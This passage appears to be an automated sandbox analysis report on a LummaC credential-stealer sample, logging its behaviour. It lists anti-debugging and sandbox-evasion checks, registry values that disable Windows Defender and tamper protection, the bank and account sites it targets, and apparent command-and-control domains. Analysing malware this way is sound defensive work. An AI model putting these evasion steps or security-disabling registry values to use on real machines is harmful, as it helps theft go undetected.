Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A10C3 second address: 2A114A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3A80CCDB98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 27EAAAB2h 0x00000011 jnc 00007F3A80CCDB9Ch 0x00000017 mov edx, dword ptr [ebp+122D1C10h] 0x0000001d push 00000003h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F3A80CCDB98h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 0000001Ch 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 sub dword ptr [ebp+122D1C10h], edx 0x0000003f push 00000000h 0x00000041 jmp 00007F3A80CCDBA0h 0x00000046 call 00007F3A80CCDBA2h 0x0000004b pop esi 0x0000004c push 00000003h 0x0000004e mov dword ptr [ebp+122D1DDAh], ecx 0x00000054 push 9FBFF55Eh 0x00000059 push eax 0x0000005a push edx 0x0000005b jo 00007F3A80CCDB98h 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2B3E5D second address: 2B3E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C2791 second address: 2C279C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F3A80CCDB96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C0965 second address: 2C096B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C096B second address: 2C097E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3A80CCDB9Eh 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C097E second address: 2C0988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F3A81335206h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C0988 second address: 2C098C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C098C second address: 2C09A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A8133520Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C1058 second address: 2C1060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C132E second address: 2C1332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C1332 second address: 2C1347 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDBA1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C1347 second address: 2C1367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3A81335218h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C160E second address: 2C1632 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F3A80CCDBAEh 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C1632 second address: 2C1638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C1638 second address: 2C163C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C163C second address: 2C1640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C1640 second address: 2C1646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C1E6F second address: 2C1E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2C1E77 second address: 2C1E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F3A80CCDBA0h 0x0000000b jnp 00007F3A80CCDB96h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Special instruction interceptor: First address: A57B7E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Special instruction interceptor: First address: C006BA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Special instruction interceptor: First address: BFED6B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Special instruction interceptor: First address: A5518E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Special instruction interceptor: First address: C07E35 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Special instruction interceptor: First address: A57B33 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Special instruction interceptor: First address: C90C76 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Special instruction interceptor: First address: D6FC73 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Special instruction interceptor: First address: D6FB9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Special instruction interceptor: First address: D6D6BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Special instruction interceptor: First address: F45D3B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Special instruction interceptor: First address: 123CC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Special instruction interceptor: First address: 123368 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Memory allocated: 4A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Memory allocated: 4C20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Memory allocated: 4A70000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Code function: 3_2_0029E134 rdtsc

3_2_0029E134

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Code function: 3_2_002B425C sidt fword ptr [esp-02h]

3_2_002B425C

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe TID: 7668	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe TID: 7776	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe TID: 8136	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005467000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe, 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe, 00000003.00000002.1870018623.00000000002A6000.00000040.00000001.01000000.00000006.sdmp, 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1813336536.0000000000EFB000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: NE4jxHLxXJ.exe, 00000000.00000003.1591128945.000000000077A000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1569315856.000000000077A000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1712807980.000000000077C000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1493309650.000000000077A000.00000004.00000020.00020000.00000000.sdmp, 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001136000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.0000000001106000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1814662803.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe, 00000003.00000002.1870018623.00000000002A6000.00000040.00000001.01000000.00000006.sdmp, 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1813336536.0000000000EFB000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: NE4jxHLxXJ.exe, 00000000.00000003.1518400797.0000000005461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Code function: 3_2_0029E142 Start: 0029E199 End: 0029E193

3_2_0029E142

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Code function: 3_2_0029E134 rdtsc

3_2_0029E134

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Code function: 3_2_002B3D4C LdrInitializeThunk,

3_2_002B3D4C

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe PID: 8156, type: MEMORYSTR

LummaC encrypted strings found

Source: NE4jxHLxXJ.exe, 00000000.00000003.1446158738.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: NE4jxHLxXJ.exe, 00000000.00000003.1446158738.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: NE4jxHLxXJ.exe, 00000000.00000003.1446158738.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: NE4jxHLxXJ.exe, 00000000.00000003.1446158738.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: NE4jxHLxXJ.exe, 00000000.00000003.1446158738.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: NE4jxHLxXJ.exe, 00000000.00000003.1446158738.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: NE4jxHLxXJ.exe, 00000000.00000003.1446158738.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: NE4jxHLxXJ.exe, 00000000.00000003.1446158738.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: NE4jxHLxXJ.exe, 00000000.00000003.1446158738.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: observerfry.lat

Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe, 00000004.00000002.1813709892.0000000000F3D000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe, 00000003.00000002.1870256275.00000000002E9000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: WProgram Manager

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: NE4jxHLxXJ.exe, NE4jxHLxXJ.exe, 00000000.00000003.1591128945.000000000077A000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1591128945.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1591805759.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1591557586.0000000000753000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1713247899.0000000000753000.00000004.00000020.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1591785451.00000000053C2000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: NE4jxHLxXJ.exe PID: 7580, type: MEMORYSTR
